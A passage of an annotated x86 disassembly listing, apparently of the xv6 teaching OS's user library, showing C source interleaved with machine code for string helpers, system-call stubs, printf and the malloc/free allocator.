d4d: 89 e5 mov %esp,%ebp
stosb(dst, c, n);
d4f: 8b 45 10 mov 0x10(%ebp),%eax
d52: 50 push %eax
d53: ff 75 0c pushl 0xc(%ebp)
d56: ff 75 08 pushl 0x8(%ebp)
d59: e8 32 ff ff ff call c90 <stosb>
d5e: 83 c4 0c add $0xc,%esp
return dst;
d61: 8b 45 08 mov 0x8(%ebp),%eax
}
d64: c9 leave
d65: c3 ret
00000d66 <strchr>:
char*
strchr(const char *s, char c)
{
d66: 55 push %ebp
d67: 89 e5 mov %esp,%ebp
d69: 83 ec 04 sub $0x4,%esp
d6c: 8b 45 0c mov 0xc(%ebp),%eax
d6f: 88 45 fc mov %al,-0x4(%ebp)
for(; *s; s++)
d72: eb 14 jmp d88 <strchr+0x22>
if(*s == c)
d74: 8b 45 08 mov 0x8(%ebp),%eax
d77: 0f b6 00 movzbl (%eax),%eax
d7a: 3a 45 fc cmp -0x4(%ebp),%al
d7d: 75 05 jne d84 <strchr+0x1e>
return (char*)s;
d7f: 8b 45 08 mov 0x8(%ebp),%eax
d82: eb 13 jmp d97 <strchr+0x31>
}
char*
strchr(const char *s, char c)
{
for(; *s; s++)
d84: 83 45 08 01 addl $0x1,0x8(%ebp)
d88: 8b 45 08 mov 0x8(%ebp),%eax
d8b: 0f b6 00 movzbl (%eax),%eax
d8e: 84 c0 test %al,%al
d90: 75 e2 jne d74 <strchr+0xe>
if(*s == c)
return (char*)s;
return 0;
d92: b8 00 00 00 00 mov $0x0,%eax
}
d97: c9 leave
d98: c3 ret
00000d99 <gets>:
char*
gets(char *buf, int max)
{
d99: 55 push %ebp
d9a: 89 e5 mov %esp,%ebp
d9c: 83 ec 18 sub $0x18,%esp
int i, cc;
char c;
for(i=0; i+1 < max; ){
d9f: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
da6: eb 42 jmp dea <gets+0x51>
cc = read(0, &c, 1);
da8: 83 ec 04 sub $0x4,%esp
dab: 6a 01 push $0x1
dad: 8d 45 ef lea -0x11(%ebp),%eax
db0: 50 push %eax
db1: 6a 00 push $0x0
db3: e8 47 01 00 00 call eff <read>
db8: 83 c4 10 add $0x10,%esp
dbb: 89 45 f0 mov %eax,-0x10(%ebp)
if(cc < 1)
dbe: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
dc2: 7e 33 jle df7 <gets+0x5e>
break;
buf[i++] = c;
dc4: 8b 45 f4 mov -0xc(%ebp),%eax
dc7: 8d 50 01 lea 0x1(%eax),%edx
dca: 89 55 f4 mov %edx,-0xc(%ebp)
dcd: 89 c2 mov %eax,%edx
dcf: 8b 45 08 mov 0x8(%ebp),%eax
dd2: 01 c2 add %eax,%edx
dd4: 0f b6 45 ef movzbl -0x11(%ebp),%eax
dd8: 88 02 mov %al,(%edx)
if(c == '\n' || c == '\r')
dda: 0f b6 45 ef movzbl -0x11(%ebp),%eax
dde: 3c 0a cmp $0xa,%al
de0: 74 16 je df8 <gets+0x5f>
de2: 0f b6 45 ef movzbl -0x11(%ebp),%eax
de6: 3c 0d cmp $0xd,%al
de8: 74 0e je df8 <gets+0x5f>
gets(char *buf, int max)
{
int i, cc;
char c;
for(i=0; i+1 < max; ){
dea: 8b 45 f4 mov -0xc(%ebp),%eax
ded: 83 c0 01 add $0x1,%eax
df0: 3b 45 0c cmp 0xc(%ebp),%eax
df3: 7c b3 jl da8 <gets+0xf>
df5: eb 01 jmp df8 <gets+0x5f>
cc = read(0, &c, 1);
if(cc < 1)
break;
df7: 90 nop
buf[i++] = c;
if(c == '\n' || c == '\r')
break;
}
buf[i] = '\0';
df8: 8b 55 f4 mov -0xc(%ebp),%edx
dfb: 8b 45 08 mov 0x8(%ebp),%eax
dfe: 01 d0 add %edx,%eax
e00: c6 00 00 movb $0x0,(%eax)
return buf;
e03: 8b 45 08 mov 0x8(%ebp),%eax
}
e06: c9 leave
e07: c3 ret
00000e08 <stat>:
int
stat(char *n, struct stat *st)
{
e08: 55 push %ebp
e09: 89 e5 mov %esp,%ebp
e0b: 83 ec 18 sub $0x18,%esp
int fd;
int r;
fd = open(n, O_RDONLY);
e0e: 83 ec 08 sub $0x8,%esp
e11: 6a 00 push $0x0
e13: ff 75 08 pushl 0x8(%ebp)
e16: e8 0c 01 00 00 call f27 <open>
e1b: 83 c4 10 add $0x10,%esp
e1e: 89 45 f4 mov %eax,-0xc(%ebp)
if(fd < 0)
e21: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
e25: 79 07 jns e2e <stat+0x26>
return -1;
e27: b8 ff ff ff ff mov $0xffffffff,%eax
e2c: eb 25 jmp e53 <stat+0x4b>
r = fstat(fd, st);
e2e: 83 ec 08 sub $0x8,%esp
e31: ff 75 0c pushl 0xc(%ebp)
e34: ff 75 f4 pushl -0xc(%ebp)
e37: e8 03 01 00 00 call f3f <fstat>
e3c: 83 c4 10 add $0x10,%esp
e3f: 89 45 f0 mov %eax,-0x10(%ebp)
close(fd);
e42: 83 ec 0c sub $0xc,%esp
e45: ff 75 f4 pushl -0xc(%ebp)
e48: e8 c2 00 00 00 call f0f <close>
e4d: 83 c4 10 add $0x10,%esp
return r;
e50: 8b 45 f0 mov -0x10(%ebp),%eax
}
e53: c9 leave
e54: c3 ret
00000e55 <atoi>:
int
atoi(const char *s)
{
e55: 55 push %ebp
e56: 89 e5 mov %esp,%ebp
e58: 83 ec 10 sub $0x10,%esp
int n;
n = 0;
e5b: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp)
while('0' <= *s && *s <= '9')
e62: eb 25 jmp e89 <atoi+0x34>
n = n*10 + *s++ - '0';
e64: 8b 55 fc mov -0x4(%ebp),%edx
e67: 89 d0 mov %edx,%eax
e69: c1 e0 02 shl $0x2,%eax
e6c: 01 d0 add %edx,%eax
e6e: 01 c0 add %eax,%eax
e70: 89 c1 mov %eax,%ecx
e72: 8b 45 08 mov 0x8(%ebp),%eax
e75: 8d 50 01 lea 0x1(%eax),%edx
e78: 89 55 08 mov %edx,0x8(%ebp)
e7b: 0f b6 00 movzbl (%eax),%eax
e7e: 0f be c0 movsbl %al,%eax
e81: 01 c8 add %ecx,%eax
e83: 83 e8 30 sub $0x30,%eax
e86: 89 45 fc mov %eax,-0x4(%ebp)
atoi(const char *s)
{
int n;
n = 0;
while('0' <= *s && *s <= '9')
e89: 8b 45 08 mov 0x8(%ebp),%eax
e8c: 0f b6 00 movzbl (%eax),%eax
e8f: 3c 2f cmp $0x2f,%al
e91: 7e 0a jle e9d <atoi+0x48>
e93: 8b 45 08 mov 0x8(%ebp),%eax
e96: 0f b6 00 movzbl (%eax),%eax
e99: 3c 39 cmp $0x39,%al
e9b: 7e c7 jle e64 <atoi+0xf>
n = n*10 + *s++ - '0';
return n;
e9d: 8b 45 fc mov -0x4(%ebp),%eax
}
ea0: c9 leave
ea1: c3 ret
00000ea2 <memmove>:
void*
memmove(void *vdst, void *vsrc, int n)
{
ea2: 55 push %ebp
ea3: 89 e5 mov %esp,%ebp
ea5: 83 ec 10 sub $0x10,%esp
char *dst, *src;
dst = vdst;
ea8: 8b 45 08 mov 0x8(%ebp),%eax
eab: 89 45 fc mov %eax,-0x4(%ebp)
src = vsrc;
eae: 8b 45 0c mov 0xc(%ebp),%eax
eb1: 89 45 f8 mov %eax,-0x8(%ebp)
while(n-- > 0)
eb4: eb 17 jmp ecd <memmove+0x2b>
*dst++ = *src++;
eb6: 8b 45 fc mov -0x4(%ebp),%eax
eb9: 8d 50 01 lea 0x1(%eax),%edx
ebc: 89 55 fc mov %edx,-0x4(%ebp)
ebf: 8b 55 f8 mov -0x8(%ebp),%edx
ec2: 8d 4a 01 lea 0x1(%edx),%ecx
ec5: 89 4d f8 mov %ecx,-0x8(%ebp)
ec8: 0f b6 12 movzbl (%edx),%edx
ecb: 88 10 mov %dl,(%eax)
{
char *dst, *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
ecd: 8b 45 10 mov 0x10(%ebp),%eax
ed0: 8d 50 ff lea -0x1(%eax),%edx
ed3: 89 55 10 mov %edx,0x10(%ebp)
ed6: 85 c0 test %eax,%eax
ed8: 7f dc jg eb6 <memmove+0x14>
*dst++ = *src++;
return vdst;
eda: 8b 45 08 mov 0x8(%ebp),%eax
}
edd: c9 leave
ede: c3 ret
00000edf <fork>:
name: \
movl $SYS_ ## name, %eax; \
int $T_SYSCALL; \
ret
SYSCALL(fork)
edf: b8 01 00 00 00 mov $0x1,%eax
ee4: cd 40 int $0x40
ee6: c3 ret
00000ee7 <exit>:
SYSCALL(exit)
ee7: b8 02 00 00 00 mov $0x2,%eax
eec: cd 40 int $0x40
eee: c3 ret
00000eef <wait>:
SYSCALL(wait)
eef: b8 03 00 00 00 mov $0x3,%eax
ef4: cd 40 int $0x40
ef6: c3 ret
00000ef7 <pipe>:
SYSCALL(pipe)
ef7: b8 04 00 00 00 mov $0x4,%eax
efc: cd 40 int $0x40
efe: c3 ret
00000eff <read>:
SYSCALL(read)
eff: b8 05 00 00 00 mov $0x5,%eax
f04: cd 40 int $0x40
f06: c3 ret
00000f07 <write>:
SYSCALL(write)
f07: b8 10 00 00 00 mov $0x10,%eax
f0c: cd 40 int $0x40
f0e: c3 ret
00000f0f <close>:
SYSCALL(close)
f0f: b8 15 00 00 00 mov $0x15,%eax
f14: cd 40 int $0x40
f16: c3 ret
00000f17 <kill>:
SYSCALL(kill)
f17: b8 06 00 00 00 mov $0x6,%eax
f1c: cd 40 int $0x40
f1e: c3 ret
00000f1f <exec>:
SYSCALL(exec)
f1f: b8 07 00 00 00 mov $0x7,%eax
f24: cd 40 int $0x40
f26: c3 ret
00000f27 <open>:
SYSCALL(open)
f27: b8 0f 00 00 00 mov $0xf,%eax
f2c: cd 40 int $0x40
f2e: c3 ret
00000f2f <mknod>:
SYSCALL(mknod)
f2f: b8 11 00 00 00 mov $0x11,%eax
f34: cd 40 int $0x40
f36: c3 ret
00000f37 <unlink>:
SYSCALL(unlink)
f37: b8 12 00 00 00 mov $0x12,%eax
f3c: cd 40 int $0x40
f3e: c3 ret
00000f3f <fstat>:
SYSCALL(fstat)
f3f: b8 08 00 00 00 mov $0x8,%eax
f44: cd 40 int $0x40
f46: c3 ret
00000f47 <link>:
SYSCALL(link)
f47: b8 13 00 00 00 mov $0x13,%eax
f4c: cd 40 int $0x40
f4e: c3 ret
00000f4f <mkdir>:
SYSCALL(mkdir)
f4f: b8 14 00 00 00 mov $0x14,%eax
f54: cd 40 int $0x40
f56: c3 ret
00000f57 <chdir>:
SYSCALL(chdir)
f57: b8 09 00 00 00 mov $0x9,%eax
f5c: cd 40 int $0x40
f5e: c3 ret
00000f5f <dup>:
SYSCALL(dup)
f5f: b8 0a 00 00 00 mov $0xa,%eax
f64: cd 40 int $0x40
f66: c3 ret
00000f67 <getpid>:
SYSCALL(getpid)
f67: b8 0b 00 00 00 mov $0xb,%eax
f6c: cd 40 int $0x40
f6e: c3 ret
00000f6f <sbrk>:
SYSCALL(sbrk)
f6f: b8 0c 00 00 00 mov $0xc,%eax
f74: cd 40 int $0x40
f76: c3 ret
00000f77 <sleep>:
SYSCALL(sleep)
f77: b8 0d 00 00 00 mov $0xd,%eax
f7c: cd 40 int $0x40
f7e: c3 ret
00000f7f <uptime>:
SYSCALL(uptime)
f7f: b8 0e 00 00 00 mov $0xe,%eax
f84: cd 40 int $0x40
f86: c3 ret
00000f87 <putc>:
#include "stat.h"
#include "user.h"
static void
putc(int fd, char c)
{
f87: 55 push %ebp
f88: 89 e5 mov %esp,%ebp
f8a: 83 ec 18 sub $0x18,%esp
f8d: 8b 45 0c mov 0xc(%ebp),%eax
f90: 88 45 f4 mov %al,-0xc(%ebp)
write(fd, &c, 1);
f93: 83 ec 04 sub $0x4,%esp
f96: 6a 01 push $0x1
f98: 8d 45 f4 lea -0xc(%ebp),%eax
f9b: 50 push %eax
f9c: ff 75 08 pushl 0x8(%ebp)
f9f: e8 63 ff ff ff call f07 <write>
fa4: 83 c4 10 add $0x10,%esp
}
fa7: 90 nop
fa8: c9 leave
fa9: c3 ret
00000faa <printint>:
static void
printint(int fd, int xx, int base, int sgn)
{
faa: 55 push %ebp
fab: 89 e5 mov %esp,%ebp
fad: 53 push %ebx
fae: 83 ec 24 sub $0x24,%esp
static char digits[] = "0123456789ABCDEF";
char buf[16];
int i, neg;
uint x;
neg = 0;
fb1: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
if(sgn && xx < 0){
fb8: 83 7d 14 00 cmpl $0x0,0x14(%ebp)
fbc: 74 17 je fd5 <printint+0x2b>
fbe: 83 7d 0c 00 cmpl $0x0,0xc(%ebp)
fc2: 79 11 jns fd5 <printint+0x2b>
neg = 1;
fc4: c7 45 f0 01 00 00 00 movl $0x1,-0x10(%ebp)
x = -xx;
fcb: 8b 45 0c mov 0xc(%ebp),%eax
fce: f7 d8 neg %eax
fd0: 89 45 ec mov %eax,-0x14(%ebp)
fd3: eb 06 jmp fdb <printint+0x31>
} else {
x = xx;
fd5: 8b 45 0c mov 0xc(%ebp),%eax
fd8: 89 45 ec mov %eax,-0x14(%ebp)
}
i = 0;
fdb: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
do{
buf[i++] = digits[x % base];
fe2: 8b 4d f4 mov -0xc(%ebp),%ecx
fe5: 8d 41 01 lea 0x1(%ecx),%eax
fe8: 89 45 f4 mov %eax,-0xc(%ebp)
feb: 8b 5d 10 mov 0x10(%ebp),%ebx
fee: 8b 45 ec mov -0x14(%ebp),%eax
ff1: ba 00 00 00 00 mov $0x0,%edx
ff6: f7 f3 div %ebx
ff8: 89 d0 mov %edx,%eax
ffa: 0f b6 80 b8 19 00 00 movzbl 0x19b8(%eax),%eax
1001: 88 44 0d dc mov %al,-0x24(%ebp,%ecx,1)
}while((x /= base) != 0);
1005: 8b 5d 10 mov 0x10(%ebp),%ebx
1008: 8b 45 ec mov -0x14(%ebp),%eax
100b: ba 00 00 00 00 mov $0x0,%edx
1010: f7 f3 div %ebx
1012: 89 45 ec mov %eax,-0x14(%ebp)
1015: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
1019: 75 c7 jne fe2 <printint+0x38>
if(neg)
101b: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
101f: 74 2d je 104e <printint+0xa4>
buf[i++] = '-';
1021: 8b 45 f4 mov -0xc(%ebp),%eax
1024: 8d 50 01 lea 0x1(%eax),%edx
1027: 89 55 f4 mov %edx,-0xc(%ebp)
102a: c6 44 05 dc 2d movb $0x2d,-0x24(%ebp,%eax,1)
while(--i >= 0)
102f: eb 1d jmp 104e <printint+0xa4>
putc(fd, buf[i]);
1031: 8d 55 dc lea -0x24(%ebp),%edx
1034: 8b 45 f4 mov -0xc(%ebp),%eax
1037: 01 d0 add %edx,%eax
1039: 0f b6 00 movzbl (%eax),%eax
103c: 0f be c0 movsbl %al,%eax
103f: 83 ec 08 sub $0x8,%esp
1042: 50 push %eax
1043: ff 75 08 pushl 0x8(%ebp)
1046: e8 3c ff ff ff call f87 <putc>
104b: 83 c4 10 add $0x10,%esp
buf[i++] = digits[x % base];
}while((x /= base) != 0);
if(neg)
buf[i++] = '-';
while(--i >= 0)
104e: 83 6d f4 01 subl $0x1,-0xc(%ebp)
1052: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
1056: 79 d9 jns 1031 <printint+0x87>
putc(fd, buf[i]);
}
1058: 90 nop
1059: 8b 5d fc mov -0x4(%ebp),%ebx
105c: c9 leave
105d: c3 ret
0000105e <printf>:
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, char *fmt, ...)
{
105e: 55 push %ebp
105f: 89 e5 mov %esp,%ebp
1061: 83 ec 28 sub $0x28,%esp
char *s;
int c, i, state;
uint *ap;
state = 0;
1064: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp)
ap = (uint*)(void*)&fmt + 1;
106b: 8d 45 0c lea 0xc(%ebp),%eax
106e: 83 c0 04 add $0x4,%eax
1071: 89 45 e8 mov %eax,-0x18(%ebp)
for(i = 0; fmt[i]; i++){
1074: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
107b: e9 59 01 00 00 jmp 11d9 <printf+0x17b>
c = fmt[i] & 0xff;
1080: 8b 55 0c mov 0xc(%ebp),%edx
1083: 8b 45 f0 mov -0x10(%ebp),%eax
1086: 01 d0 add %edx,%eax
1088: 0f b6 00 movzbl (%eax),%eax
108b: 0f be c0 movsbl %al,%eax
108e: 25 ff 00 00 00 and $0xff,%eax
1093: 89 45 e4 mov %eax,-0x1c(%ebp)
if(state == 0){
1096: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
109a: 75 2c jne 10c8 <printf+0x6a>
if(c == '%'){
109c: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp)
10a0: 75 0c jne 10ae <printf+0x50>
state = '%';
10a2: c7 45 ec 25 00 00 00 movl $0x25,-0x14(%ebp)
10a9: e9 27 01 00 00 jmp 11d5 <printf+0x177>
} else {
putc(fd, c);
10ae: 8b 45 e4 mov -0x1c(%ebp),%eax
10b1: 0f be c0 movsbl %al,%eax
10b4: 83 ec 08 sub $0x8,%esp
10b7: 50 push %eax
10b8: ff 75 08 pushl 0x8(%ebp)
10bb: e8 c7 fe ff ff call f87 <putc>
10c0: 83 c4 10 add $0x10,%esp
10c3: e9 0d 01 00 00 jmp 11d5 <printf+0x177>
}
} else if(state == '%'){
10c8: 83 7d ec 25 cmpl $0x25,-0x14(%ebp)
10cc: 0f 85 03 01 00 00 jne 11d5 <printf+0x177>
if(c == 'd'){
10d2: 83 7d e4 64 cmpl $0x64,-0x1c(%ebp)
10d6: 75 1e jne 10f6 <printf+0x98>
printint(fd, *ap, 10, 1);
10d8: 8b 45 e8 mov -0x18(%ebp),%eax
10db: 8b 00 mov (%eax),%eax
10dd: 6a 01 push $0x1
10df: 6a 0a push $0xa
10e1: 50 push %eax
10e2: ff 75 08 pushl 0x8(%ebp)
10e5: e8 c0 fe ff ff call faa <printint>
10ea: 83 c4 10 add $0x10,%esp
ap++;
10ed: 83 45 e8 04 addl $0x4,-0x18(%ebp)
10f1: e9 d8 00 00 00 jmp 11ce <printf+0x170>
} else if(c == 'x' || c == 'p'){
10f6: 83 7d e4 78 cmpl $0x78,-0x1c(%ebp)
10fa: 74 06 je 1102 <printf+0xa4>
10fc: 83 7d e4 70 cmpl $0x70,-0x1c(%ebp)
1100: 75 1e jne 1120 <printf+0xc2>
printint(fd, *ap, 16, 0);
1102: 8b 45 e8 mov -0x18(%ebp),%eax
1105: 8b 00 mov (%eax),%eax
1107: 6a 00 push $0x0
1109: 6a 10 push $0x10
110b: 50 push %eax
110c: ff 75 08 pushl 0x8(%ebp)
110f: e8 96 fe ff ff call faa <printint>
1114: 83 c4 10 add $0x10,%esp
ap++;
1117: 83 45 e8 04 addl $0x4,-0x18(%ebp)
111b: e9 ae 00 00 00 jmp 11ce <printf+0x170>
} else if(c == 's'){
1120: 83 7d e4 73 cmpl $0x73,-0x1c(%ebp)
1124: 75 43 jne 1169 <printf+0x10b>
s = (char*)*ap;
1126: 8b 45 e8 mov -0x18(%ebp),%eax
1129: 8b 00 mov (%eax),%eax
112b: 89 45 f4 mov %eax,-0xc(%ebp)
ap++;
112e: 83 45 e8 04 addl $0x4,-0x18(%ebp)
if(s == 0)
1132: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
1136: 75 25 jne 115d <printf+0xff>
s = "(null)";
1138: c7 45 f4 1c 15 00 00 movl $0x151c,-0xc(%ebp)
while(*s != 0){
113f: eb 1c jmp 115d <printf+0xff>
putc(fd, *s);
1141: 8b 45 f4 mov -0xc(%ebp),%eax
1144: 0f b6 00 movzbl (%eax),%eax
1147: 0f be c0 movsbl %al,%eax
114a: 83 ec 08 sub $0x8,%esp
114d: 50 push %eax
114e: ff 75 08 pushl 0x8(%ebp)
1151: e8 31 fe ff ff call f87 <putc>
1156: 83 c4 10 add $0x10,%esp
s++;
1159: 83 45 f4 01 addl $0x1,-0xc(%ebp)
} else if(c == 's'){
s = (char*)*ap;
ap++;
if(s == 0)
s = "(null)";
while(*s != 0){
115d: 8b 45 f4 mov -0xc(%ebp),%eax
1160: 0f b6 00 movzbl (%eax),%eax
1163: 84 c0 test %al,%al
1165: 75 da jne 1141 <printf+0xe3>
1167: eb 65 jmp 11ce <printf+0x170>
putc(fd, *s);
s++;
}
} else if(c == 'c'){
1169: 83 7d e4 63 cmpl $0x63,-0x1c(%ebp)
116d: 75 1d jne 118c <printf+0x12e>
putc(fd, *ap);
116f: 8b 45 e8 mov -0x18(%ebp),%eax
1172: 8b 00 mov (%eax),%eax
1174: 0f be c0 movsbl %al,%eax
1177: 83 ec 08 sub $0x8,%esp
117a: 50 push %eax
117b: ff 75 08 pushl 0x8(%ebp)
117e: e8 04 fe ff ff call f87 <putc>
1183: 83 c4 10 add $0x10,%esp
ap++;
1186: 83 45 e8 04 addl $0x4,-0x18(%ebp)
118a: eb 42 jmp 11ce <printf+0x170>
} else if(c == '%'){
118c: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp)
1190: 75 17 jne 11a9 <printf+0x14b>
putc(fd, c);
1192: 8b 45 e4 mov -0x1c(%ebp),%eax
1195: 0f be c0 movsbl %al,%eax
1198: 83 ec 08 sub $0x8,%esp
119b: 50 push %eax
119c: ff 75 08 pushl 0x8(%ebp)
119f: e8 e3 fd ff ff call f87 <putc>
11a4: 83 c4 10 add $0x10,%esp
11a7: eb 25 jmp 11ce <printf+0x170>
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
11a9: 83 ec 08 sub $0x8,%esp
11ac: 6a 25 push $0x25
11ae: ff 75 08 pushl 0x8(%ebp)
11b1: e8 d1 fd ff ff call f87 <putc>
11b6: 83 c4 10 add $0x10,%esp
putc(fd, c);
11b9: 8b 45 e4 mov -0x1c(%ebp),%eax
11bc: 0f be c0 movsbl %al,%eax
11bf: 83 ec 08 sub $0x8,%esp
11c2: 50 push %eax
11c3: ff 75 08 pushl 0x8(%ebp)
11c6: e8 bc fd ff ff call f87 <putc>
11cb: 83 c4 10 add $0x10,%esp
}
state = 0;
11ce: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp)
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
11d5: 83 45 f0 01 addl $0x1,-0x10(%ebp)
11d9: 8b 55 0c mov 0xc(%ebp),%edx
11dc: 8b 45 f0 mov -0x10(%ebp),%eax
11df: 01 d0 add %edx,%eax
11e1: 0f b6 00 movzbl (%eax),%eax
11e4: 84 c0 test %al,%al
11e6: 0f 85 94 fe ff ff jne 1080 <printf+0x22>
putc(fd, c);
}
state = 0;
}
}
}
11ec: 90 nop
11ed: c9 leave
11ee: c3 ret
000011ef <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
11ef: 55 push %ebp
11f0: 89 e5 mov %esp,%ebp
11f2: 83 ec 10 sub $0x10,%esp
Header *bp, *p;
bp = (Header*)ap - 1;
11f5: 8b 45 08 mov 0x8(%ebp),%eax
11f8: 83 e8 08 sub $0x8,%eax
11fb: 89 45 f8 mov %eax,-0x8(%ebp)
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
11fe: a1 4c 1a 00 00 mov 0x1a4c,%eax
1203: 89 45 fc mov %eax,-0x4(%ebp)
1206: eb 24 jmp 122c <free+0x3d>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
1208: 8b 45 fc mov -0x4(%ebp),%eax
120b: 8b 00 mov (%eax),%eax
120d: 3b 45 fc cmp -0x4(%ebp),%eax
1210: 77 12 ja 1224 <free+0x35>
1212: 8b 45 f8 mov -0x8(%ebp),%eax
1215: 3b 45 fc cmp -0x4(%ebp),%eax
1218: 77 24 ja 123e <free+0x4f>
121a: 8b 45 fc mov -0x4(%ebp),%eax
121d: 8b 00 mov (%eax),%eax
121f: 3b 45 f8 cmp -0x8(%ebp),%eax
1222: 77 1a ja 123e <free+0x4f>
free(void *ap)
{
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
1224: 8b 45 fc mov -0x4(%ebp),%eax
1227: 8b 00 mov (%eax),%eax
1229: 89 45 fc mov %eax,-0x4(%ebp)
122c: 8b 45 f8 mov -0x8(%ebp),%eax
122f: 3b 45 fc cmp -0x4(%ebp),%eax
1232: 76 d4 jbe 1208 <free+0x19>
1234: 8b 45 fc mov -0x4(%ebp),%eax
1237: 8b 00 mov (%eax),%eax
1239: 3b 45 f8 cmp -0x8(%ebp),%eax
123c: 76 ca jbe 1208 <free+0x19>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
break;
if(bp + bp->s.size == p->s.ptr){
123e: 8b 45 f8 mov -0x8(%ebp),%eax
1241: 8b 40 04 mov 0x4(%eax),%eax
1244: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx
124b: 8b 45 f8 mov -0x8(%ebp),%eax
124e: 01 c2 add %eax,%edx
1250: 8b 45 fc mov -0x4(%ebp),%eax
1253: 8b 00 mov (%eax),%eax
1255: 39 c2 cmp %eax,%edx
1257: 75 24 jne 127d <free+0x8e>
bp->s.size += p->s.ptr->s.size;
1259: 8b 45 f8 mov -0x8(%ebp),%eax
125c: 8b 50 04 mov 0x4(%eax),%edx
125f: 8b 45 fc mov -0x4(%ebp),%eax
1262: 8b 00 mov (%eax),%eax
1264: 8b 40 04 mov 0x4(%eax),%eax
1267: 01 c2 add %eax,%edx
1269: 8b 45 f8 mov -0x8(%ebp),%eax
126c: 89 50 04 mov %edx,0x4(%eax)
bp->s.ptr = p->s.ptr->s.ptr;
126f: 8b 45 fc mov -0x4(%ebp),%eax
1272: 8b 00 mov (%eax),%eax
1274: 8b 10 mov (%eax),%edx
1276: 8b 45 f8 mov -0x8(%ebp),%eax
1279: 89 10 mov %edx,(%eax)
127b: eb 0a jmp 1287 <free+0x98>
} else
bp->s.ptr = p->s.ptr;
127d: 8b 45 fc mov -0x4(%ebp),%eax
1280: 8b 10 mov (%eax),%edx
1282: 8b 45 f8 mov -0x8(%ebp),%eax
1285: 89 10 mov %edx,(%eax)
if(p + p->s.size == bp){
1287: 8b 45 fc mov -0x4(%ebp),%eax
128a: 8b 40 04 mov 0x4(%eax),%eax
128d: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx
1294: 8b 45 fc mov -0x4(%ebp),%eax
1297: 01 d0 add %edx,%eax
1299: 3b 45 f8 cmp -0x8(%ebp),%eax
129c: 75 20 jne 12be <free+0xcf>
p->s.size += bp->s.size;
129e: 8b 45 fc mov -0x4(%ebp),%eax
12a1: 8b 50 04 mov 0x4(%eax),%edx
12a4: 8b 45 f8 mov -0x8(%ebp),%eax
12a7: 8b 40 04 mov 0x4(%eax),%eax
12aa: 01 c2 add %eax,%edx
12ac: 8b 45 fc mov -0x4(%ebp),%eax
12af: 89 50 04 mov %edx,0x4(%eax)
p->s.ptr = bp->s.ptr;
12b2: 8b 45 f8 mov -0x8(%ebp),%eax
12b5: 8b 10 mov (%eax),%edx
12b7: 8b 45 fc mov -0x4(%ebp),%eax
12ba: 89 10 mov %edx,(%eax)
12bc: eb 08 jmp 12c6 <free+0xd7>
} else
p->s.ptr = bp;
12be: 8b 45 fc mov -0x4(%ebp),%eax
12c1: 8b 55 f8 mov -0x8(%ebp),%edx
12c4: 89 10 mov %edx,(%eax)
freep = p;
12c6: 8b 45 fc mov -0x4(%ebp),%eax
12c9: a3 4c 1a 00 00 mov %eax,0x1a4c
}
12ce: 90 nop
12cf: c9 leave
12d0: c3 ret
000012d1 <morecore>:
static Header*
morecore(uint nu)
{
12d1: 55 push %ebp
12d2: 89 e5 mov %esp,%ebp
12d4: 83 ec 18 sub $0x18,%esp
char *p;
Header *hp;
if(nu < 4096)
12d7: 81 7d 08 ff 0f 00 00 cmpl $0xfff,0x8(%ebp)
12de: 77 07 ja 12e7 <morecore+0x16>
nu = 4096;
12e0: c7 45 08 00 10 00 00 movl $0x1000,0x8(%ebp)
p = sbrk(nu * sizeof(Header));
12e7: 8b 45 08 mov 0x8(%ebp),%eax
12ea: c1 e0 03 shl $0x3,%eax
12ed: 83 ec 0c sub $0xc,%esp
12f0: 50 push %eax
12f1: e8 79 fc ff ff call f6f <sbrk>
12f6: 83 c4 10 add $0x10,%esp
12f9: 89 45 f4 mov %eax,-0xc(%ebp)
if(p == (char*)-1)
12fc: 83 7d f4 ff cmpl $0xffffffff,-0xc(%ebp)
1300: 75 07 jne 1309 <morecore+0x38>
return 0;
1302: b8 00 00 00 00 mov $0x0,%eax
1307: eb 26 jmp 132f <morecore+0x5e>
hp = (Header*)p;
1309: 8b 45 f4 mov -0xc(%ebp),%eax
130c: 89 45 f0 mov %eax,-0x10(%ebp)
hp->s.size = nu;
130f: 8b 45 f0 mov -0x10(%ebp),%eax
1312: 8b 55 08 mov 0x8(%ebp),%edx
1315: 89 50 04 mov %edx,0x4(%eax)
free((void*)(hp + 1));
1318: 8b 45 f0 mov -0x10(%ebp),%eax
131b: 83 c0 08 add $0x8,%eax
131e: 83 ec 0c sub $0xc,%esp
1321: 50 push %eax
1322: e8 c8 fe ff ff call 11ef <free>
1327: 83 c4 10 add $0x10,%esp
return freep;
132a: a1 4c 1a 00 00 mov 0x1a4c,%eax
}
132f: c9 leave
1330: c3 ret
00001331 <malloc>:
void*
malloc(uint nbytes)
{
1331: 55 push %ebp
1332: 89 e5 mov %esp,%ebp
1334: 83 ec 18 sub $0x18,%esp
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
1337: 8b 45 08 mov 0x8(%ebp),%eax
